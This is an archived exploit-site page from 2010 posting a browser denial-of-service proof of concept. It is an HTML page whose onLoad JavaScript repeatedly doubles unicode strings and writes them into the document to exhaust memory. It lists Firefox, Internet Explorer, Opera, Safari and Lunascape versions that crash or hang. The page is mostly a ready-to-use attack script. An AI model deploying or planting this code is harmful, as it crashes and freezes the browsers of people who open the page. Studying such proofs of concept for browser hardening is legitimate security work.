Home / os / win7

All Browsers - Long Unicode DoS PoC

Posted on 03 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>All Browsers - Long Unicode DoS PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================
All Browsers - Long Unicode DoS PoC
===================================

&lt;html&gt;
&lt;title&gt;Dr_IDE - All Browsers - Long Unicode DoS PoC&lt;/title&gt;
&lt;head&gt;
&lt;script&gt;
function boom()
 {
 //The number of strings increases the amount of memory consumed, quicker crash where applicable.
    var longunistring1 = unescape(&quot;%u4141%u4141&quot;);
    var longunistring2 = unescape(&quot;%u4242%u4242&quot;);
    var longunistring3 = unescape(&quot;%u4343%u4343&quot;);
    var longunistring4 = unescape(&quot;%u4444%u4444&quot;);
     
    for(i=0; i &lt;= 60 ; ++i) //This number is very sensitive. If you go far over 60 IE won't &quot;work&quot;
 {
        longunistring1+=longunistring1;
        longunistring2+=longunistring2;
        longunistring3+=longunistring3;
        longunistring4+=longunistring4;
        document.write(longunistring1);
        document.write(longunistring2);
        document.write(longunistring3);
        document.write(longunistring4);
    }    
    document.write(longunistring1);
    document.write(longunistring2);
    document.write(longunistring3);
    document.write(longunistring4);
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onLoad=&quot;boom()&quot;&gt;
&lt;br&gt;Tested on Windows 7:
&lt;br&gt;Firefox 3.6.4     (CrashReporter)
&lt;br&gt;IE 8.0.7600.16385     (Hangs, must quit)
&lt;br&gt;Lunascape6            (Crashes with Gecko Engine)[Firefox mode]
&lt;br&gt;Lunascape6            (Crashes with Webkit Engine)[Safari mode]
&lt;br&gt;Lunascape6            (Crashes with Trident Engine)[IE mode]
&lt;br&gt;Opera 10.51           (Hangs, must kill)
&lt;br&gt;Safari 4.0.5      (Hangs, must kill)
&lt;/body&gt;
&lt;/html&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :